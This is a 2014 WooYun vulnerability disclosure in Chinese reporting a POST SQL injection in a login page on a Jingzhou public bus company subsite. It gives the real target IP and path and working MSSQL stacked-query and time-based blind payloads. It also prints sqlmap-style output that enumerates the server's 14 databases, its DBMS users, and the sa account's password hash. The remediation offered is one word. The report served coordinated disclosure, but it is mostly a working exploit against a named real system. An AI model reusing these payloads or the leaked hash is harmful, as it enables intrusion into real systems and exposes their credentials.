漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-080433
漏洞标题：荆州公交总公司分站存在post注入
相关厂商：荆州公交总公司
漏洞作者： aaaaty
提交时间：2014-10-23 11:09
修复时间：2014-12-07 11:10
公开时间：2014-12-07 11:10
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-10-23： 细节已通知厂商并且等待厂商处理中
2014-10-27： 厂商已经确认，细节仅向厂商公开
2014-11-06： 细节向核心白帽子及相关领域专家公开
2014-11-16： 细节向普通白帽子公开
2014-11-26： 细节向实习白帽子公开
2014-12-07： 细节向公众公开
简要描述：
荆州公交总公司分站存在post注入
详细说明：
主站：http://www.busjz.com/index.html
注入点：http://218.200.69.81:90/jzbusorg/Login_A4.aspx
post：wEPDwUJNzU5ODc4MDYxZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUKSW1nQnRvbl9PSwbJgkAFmZftJL6ndSey/XtV2KAH&TextUser=RRdc'; WAITFORDELAY '0:0:5'--&TextPwd=&ImgBton_OK.x=1&ImgBton_OK.y=1&__EVENTVALIDATION=/wEWBALCzeDUCwKslu1PAo6tx6MDAsqX2roPb8Fa0vQ20EaU+ccJw2SmeTBwUQ0=
Place: POST
Parameter: TextUser
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: __VIEWSTATE=/wEPDwUJNzU5ODc4MDYxZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3R
CYWNrS2V5X18WAQUKSW1nQnRvbl9PSwbJgkAFmZftJL6ndSey/XtV2KAH&TextUser=RRdc'; WAITFO
R DELAY '0:0:5'--&TextPwd=&ImgBton_OK.x=1&ImgBton_OK.y=1&__EVENTVALIDATION=/wEWB
ALCzeDUCwKslu1PAo6tx6MDAsqX2roPb8Fa0vQ20EaU+ccJw2SmeTBwUQ0=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: __VIEWSTATE=/wEPDwUJNzU5ODc4MDYxZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3R
CYWNrS2V5X18WAQUKSW1nQnRvbl9PSwbJgkAFmZftJL6ndSey/XtV2KAH&TextUser=RRdc' WAITFOR
DELAY '0:0:5'--&TextPwd=&ImgBton_OK.x=1&ImgBton_OK.y=1&__EVENTVALIDATION=/wEWBA
LCzeDUCwKslu1PAo6tx6MDAsqX2roPb8Fa0vQ20EaU+ccJw2SmeTBwUQ0=
---
[00:01:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[00:01:18] [INFO] fetching database names
[00:01:18] [INFO] fetching number of databases
[00:01:18] [INFO] resumed: 14
[00:01:18] [INFO] resumed: APTS_EXAMINE
[00:01:18] [INFO] resumed: JZBUS_APTS
[00:01:18] [INFO] resumed: JZBUS_CASH
[00:01:18] [INFO] resumed: JZBUS_CENTER
[00:01:18] [INFO] resumed: JZBUS_XKP
[00:01:18] [INFO] resumed: JZBUSGA
[00:01:18] [INFO] resumed: master
[00:01:18] [INFO] resumed: model
[00:01:18] [INFO] resumed: msdb
[00:01:18] [INFO] resumed: Northwind
[00:01:18] [INFO] resumed: pubs
[00:01:18] [INFO] resumed: tempdb
[00:01:18] [INFO] resumed: TEST1
[00:01:18] [INFO] resumed: TK_CNETER
available databases [14]:
[*] APTS_EXAMINE
[*] JZBUS_APTS
[*] JZBUS_CASH
[*] JZBUS_CENTER
[*] JZBUS_XKP
[*] JZBUSGA
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] TEST1
[*] TK_CNETER
权限不是很高：current user is DBA: False
user：
database management system users [2]:
[*] BUILTIN\Administrators
[*] sa
password：
sa用户 [00:05:20] [INFO] resumed: 0x0100723776008e0825e313ecdec02f3d6d891eef6f4f5434279
6abe8edf288a2ecf20a7ec64731ea6eeb484224ec
漏洞证明：
available databases [14]:
[*] APTS_EXAMINE
[*] JZBUS_APTS
[*] JZBUS_CASH
[*] JZBUS_CENTER
[*] JZBUS_XKP
[*] JZBUSGA
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] TEST1
[*] TK_CNETER
修复方案：
过滤
版权声明：转载请注明来源 aaaaty@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2014-10-27 10:05
厂商回复：
最新状态：
暂无